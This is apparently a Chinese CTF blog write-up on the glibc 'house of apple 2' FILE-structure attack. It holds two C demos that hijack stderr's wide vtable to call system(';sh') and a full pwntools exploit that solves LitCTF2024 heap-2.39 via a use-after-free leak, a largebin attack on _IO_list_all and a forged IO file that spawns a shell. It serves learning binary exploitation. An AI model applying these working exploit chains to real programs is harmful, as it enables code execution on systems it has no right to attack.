0x00

在复现LitCTF2024的heap-2.39时候遇到了house of apple,既然碰到了,那么就学习一下吧!(其实在上学期校赛的时候就碰到了

0x01 house of apple 原理

先贴上roderick01师傅的原创文章镇帖(
[原创] House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪-安全社区|安全招聘|kanxue.com
[原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪-安全社区|安全招聘|kanxue.com
[原创]House of apple 一种新的glibc中IO攻击方法 (3)-Pwn-看雪-安全社区|安全招聘|kanxue.com

我们调试demo (姑且先看apple2)

_IO_wfile_overflow

1
2
3
4
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

demo如下(glibc2.35)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<string.h>

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);

char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);

puts("[*] allocate two 0x200 chunks");

size_t puts_addr = (size_t)&puts;

size_t _IO_2_1_stderr_addr = puts_addr + 0x19a850;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

size_t _IO_wfile_jumps_addr = puts_addr + 0x196270;
printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);

char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0xfffff7f5 + ;sh");
*(size_t *)stderr2 = 0xfbadf7f5;
sprintf(&stderr2[4], "%s", ";sh\x00");

puts("[+] step 2: set stderr->_IO_write_base < stderr->_IO_write_ptr");
*(size_t *)(stderr2 + 0x20) = (size_t)1;
*(size_t *)(stderr2 + 0x28) = (size_t)2;

puts("[+] step 3: change stderr->_mode to -1");
*(size_t *)(stderr2 + 0xc0) = -1;

puts("[+] step 4: change stderr->vtable to _IO_wfile_jumps");
*(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr;

puts("[+] step 5: replace stderr->_wide_data with the allocated chunk p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;

puts("[+] step 6: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;

puts("[+] step 7: set stderr->_wide_data->_IO_write_base = 0 stderr->_wide_data->_IO_buf_base = 0");
*(size_t *)(p1 + 0x30) = (size_t)0;
*(size_t *)(p1 + 0x18) = (size_t)0;

puts("[+] step 8: put backdoor at fake _wide_vtable->doallocate");
size_t sys_addr = (size_t)&system;
*(size_t *)(p2 + 0x68) = (size_t)(sys_addr);

puts("[+] step 9: call exit to trigger backdoor func");
exit(0);

}

直接运行到最后一步前,看stderr的相关状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
pwndbg> p *stderr
$2 = {
_flags = -72484875,
_IO_read_ptr = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_ptr = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7ffff7e1b724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1b780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x5555555592a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = "\377\377\377\377", '\000' <repeats 15 times>
}

pwndbg> p *(struct _IO_wide_data*)0x5555555592a0
$3 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x5555555594b0
}

pwndbg> p *(struct _IO_jump_t*) 0x5555555594b0
$4 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x0,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x7ffff7c50d70 <__libc_system>,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

总结一下条件
fp->_flags设置为0xfffff7f5或者0xfbadf7f5(满足~(2 | 0x8 | 0x800)),后续四字节根据情况设置为;sh\x00
fp->vtable设置为_IO_wfile_jumps (/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap)
fp->_IO_write_ptr > fp->_IO_write_base
fp->_wide_data写入可控地址
fp->_wide_data->_wide_vtable->doallocate(位于fp->_wide_data->_wide_vtable+0x68)设置为后门函数
fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_buf_base == 0

至于这些条件为什么这么设置,看glibc源码便知
我们看最终效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
r3t2@LAPTOP-6JKPOVPE:~/CTF/pwn_demos/apple$ ./demo3
[*] allocate two 0x200 chunks
[*] _IO_2_1_stderr_ address: 0x7835d481b6a0
[*] _IO_wfile_jumps address: 0x7835d48170c0
[+] step 1: change stderr->_flags to 0xfffff7f5 + ;sh
[+] step 2: set stderr->_IO_write_base < stderr->_IO_write_ptr
[+] step 3: change stderr->_mode to -1
[+] step 4: change stderr->vtable to _IO_wfile_jumps
[+] step 5: replace stderr->_wide_data with the allocated chunk p1
[+] step 6: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 7: set stderr->_wide_data->_IO_write_base = 0 stderr->_wide_data->_IO_buf_base = 0
[+] step 8: put backdoor at fake _wide_vtable->doallocate
[+] step 9: call exit to trigger backdoor func
sh: 1: ����: not found
$ whoami
r3t2
$

成功getshell

_IO_wdefault_xsgetn

这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0

1
2
3
4
5
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)

demo如下(glibc2.35)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
printf("\033[31m[!] Backdoor is called!\n");
_exit(0);
}

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);

char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");

size_t puts_addr = (size_t)&puts;

size_t _IO_2_1_stderr_addr = puts_addr + 0x19a850;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

size_t _IO_wstrn_jumps_addr = puts_addr + 0x19a850+0xd8-0x4998-0x20;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0x800");
*(size_t *)stderr2 = 0x800;

puts("[+] step 2: change stderr->_mode to 1");
*(size_t *)(stderr2 + 0xc0) = 1;

puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps - 0x20");
*(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr - 0x20;

puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;

puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;

puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
*(size_t *)(p1 + 0x20) = (size_t)1;

puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
*(size_t *)(p2 + 0x18) = (size_t)(&backdoor);

puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr);

}

总结一下条件
fp->_flags设置为0x800,如果需要getshell则设置为0xfbad0802或者0xffff0802,然后后续加上;sh\x00即可
fp->vtable设置为_IO_wstrn_jumps (/_IO_wmem_jumps/_IO_wstr_jumps),这里测试发现_IO_wstrn_jumps - 0x20可行
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
fp->_wide_data->_IO_read_end == fp->_wide_data->_IO_read_ptr == 0
fp->_wide_data写入可控地址
fp->_wide_data->_wide_vtable->overflow(位于fp->_wide_data->_wide_vtable+0x68)设置为后门函数
fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_buf_base == 0

效果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
r3t2@LAPTOP-6JKPOVPE:~/CTF/pwn_demos/apple$ ./demo2
[*] allocate two 0x200 chunks
[*] _IO_2_1_stderr_ address: 0x702910a1b6a0
[*] _IO_wstrn_jumps address: 0x702910a16dc0
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps - 0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!

然后这里我们在step2加上

1
sprintf(&stderr2[4], "%s", ";sh\x00");

step7改成

1
*(size_t *)(p2 + 0x18) = (size_t)(&system);

这时候gdb执行到最后发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> r
Starting program: /home/r3t2/CTF/pwn_demos/apple/demo2
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[*] allocate two 0x200 chunks
[*] _IO_2_1_stderr_ address: 0x7ffff7e1b6a0
[*] _IO_wstrn_jumps address: 0x7ffff7e16dc0
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps - 0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
[Attaching after Thread 0x7ffff7fb1740 (LWP 25536) vfork to child process 25539]
[New inferior 2 (process 25539)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 25536 after child exec]
[Inferior 1 (process 25536) detached]
process 25539 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Inferior 2 (process 25539) exited normally]

发现这里确实启动了/usr/bin/dash但是直接退出了,这里怀疑是system的参数问题,然后意识到覆盖的_wide_vtable->_overflow的参数是stderr,我们这里仅仅在其_flags域(为0x800)后加上;sh\x00,会被0x800\x00截断导致system的参数异常
如何解决呢?把截断想办法去掉就好了

1
*(size_t *)stderr2 = 0xfbad0802; //0xffff0802

这样修改后执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
r3t2@LAPTOP-6JKPOVPE:~/CTF/pwn_demos/apple$ ./demo2
[*] allocate two 0x200 chunks
[*] _IO_2_1_stderr_ address: 0x73fe9f41b6a0
[*] _IO_wstrn_jumps address: 0x73fe9f416dc0
[+] step 1: change stderr->_flags to 0xfbad0802
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps - 0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
sh: 1:��: not found
$ whoami
r3t2
$

成功getshell

_IO_wfile_underflow_mmap

#todo

0x02 例题 LitCTF2024 heap-2.39

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
v4 = 0;
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
create();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
Exit();
default:
puts("error!");
break;
}
}
}

建堆函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 create()
{
__int64 result; // rax
unsigned int v1; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
v2 = 0;
v3 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v2);
if ( v2 > 0xF || ptr[v2] || (printf("size? "), __isoc99_scanf("%d", &v3), v3 <= 1039) || v3 > 4096 )
{
puts("error !");
return 0LL;
}
else
{
v1 = v2;
ptr[v1] = malloc(v3);
if ( !ptr[v2] )
{
puts("malloc error!");
exit(1);
}
result = (unsigned int)v3;
ptr_size[v2] = v3;
}
return result;
}

限定了size在largebin范围。记录了size大小
free函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void delete()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
v0 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0xF && ptr[v0] )
free((void *)ptr[v0]);
else
puts("no such chunk!");
}

未清指针,可以uaf
打印函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && ptr[v1] )
return printf("content : %s\n", (const char *)ptr[v1]);
puts("no such chunk!");
return 0;
}

直接输出,注意printf的截断
edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && ptr[v1] )
{
puts("content : ");
return read(0, (void *)ptr[v1], (unsigned int)ptr_size[v1]);
}
else
{
puts("no such chunk!");
return 0LL;
}
}

根据建堆时记录的size限制输入大小,无法溢出,但是可以利用presize的复用
退出函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __noreturn Exit()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
if ( !ptr[i] )
{
free((void *)ptr[i]);
ptr[i] = 0LL;
ptr_size[i] = 0;
}
}
exit(0);
}

可以主动触发exit();
例行公事,checksec一下

1
2
3
4
5
6
7
8
9
10
r3t2@LAPTOP-6JKPOVPE:~/2.39$ checksec heap
[*] '/home/r3t2/2.39/heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

此题可以申请16个chunk进行操作。限制很少,总体思路是利用unsortedbin leak泄露libc地址,heap_base也可以直接打印largebin中的chunk的fd_nextsize来泄露,然后largebin attack来向_IO_list_all写入堆地址,接着利用可控的chunk来伪造一个fake_io_file,打house of apple2。本题io链如下

1
2
3
4
5
6
7
_IO_OVERFLOW(fp, ch) 
└→ __overflow → _IO_wfile_overflow
└→ _IO_wdoallocbuf
└→ _IO_WDOALLOCATE(fp)
└→ WJUMP0(__doallocate, fp)
└→ 调用 fp->_wide_data->_wide_vtable->__doallocate(fp)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

#io=process('./heap')
io=remote('node4.anna.nssctf.cn',28176)
libc=ELF('./libc.so.6')
e=ELF('./heap')

def creat(idx,size):
io.recvuntil(b'>>')
io.sendline(b'1')
io.recvuntil(b'idx? ')
io.sendline(str(idx))
io.recvuntil(b'size? ')
io.sendline(str(size))

def free(idx):
io.recvuntil(b'>>')
io.sendline(b'2')
io.recvuntil(b'idx? ')
io.sendline(str(idx))

def show(idx):
io.recvuntil(b'>>')
io.sendline(b'3')
io.recvuntil(b'idx? ')
io.sendline(str(idx))

def edit(idx,content):
io.recvuntil(b'>>')
io.sendline(b'4')
io.recvuntil(b'idx? ')
io.sendline(str(idx))
io.recvuntil(b'content : \n')
io.sendline(content)

creat(0,0x520)
creat(1,0x508) #防止被topchunk合并,同时用于覆盖fake_io_file的_flag位
creat(2,0x510)
creat(3,0x500) #防止被topchunk合并

free(0)
show(0)
io.recvuntil(b'content : ')
leak_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=leak_addr-96-0x203ac0 #0x203ac0是直接ida中查看对应libc文件的malloc_trim函数得到的main_arena的偏移
log.success("libc_base-->"+hex(libc_base))
target_addr=libc_base+libc.sym['_IO_list_all']

creat(4,0x900) # chunk0进入largebin,用于泄露堆基址,并为largebin attack做准备

edit(0,b'a'*0xf+b'b')
show(0)
io.recvuntil(b'b')
leak_addr=u64(io.recv(6).ljust(8,b"\x00"))
heap_base=((leak_addr>>12)<<12)
log.success("heap_base-->"+hex(heap_base))


edit(0,p64(0)*3+p64(target_addr-0x20))
free(2)
creat(5,0x900) #chunk2作为fake_io_file进入largebin,完成largebin attack,_IO_list_all指向chunk2

edit(1, b'a'*0x500+p32(0xfbadf7f5)+b';sh\x00') #利用presize复用来控制fake_io_file的_flags,同时写入';sh\x00'

chunk_addr=heap_base+0x290+0x530+0x510 #fake_io_file的地址
system=libc_base+libc.sym['system']
io_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']

fake_IO_file = p64(0) * 2 + p64(1) + p64(2)
fake_IO_file = fake_IO_file.ljust(0xa0 - 0x10,b'\x00') + p64(chunk_addr + 0x100) #wide_data
fake_IO_file = fake_IO_file.ljust(0xc0 - 0x10,b'\x00') + p64(0xffffffffffffffff) #mode
fake_IO_file = fake_IO_file.ljust(0xd8 - 0x10,b'\x00') + p64(io_wfile_jumps) #vtable
fake_IO_file = fake_IO_file.ljust(0x100 - 0x10 + 0xe0,b'\x00') + p64(chunk_addr + 0x200) #_wide_data->_wide_vtable
fake_IO_file = fake_IO_file.ljust(0x200 - 0x10,b'\x00') + p64(0) * 13 + p64(system) # _wide_data->_wide_vtable->doallocate

edit(2,fake_IO_file)

io.recvuntil(b'>>')
io.sendline(b'5')

io.interactive()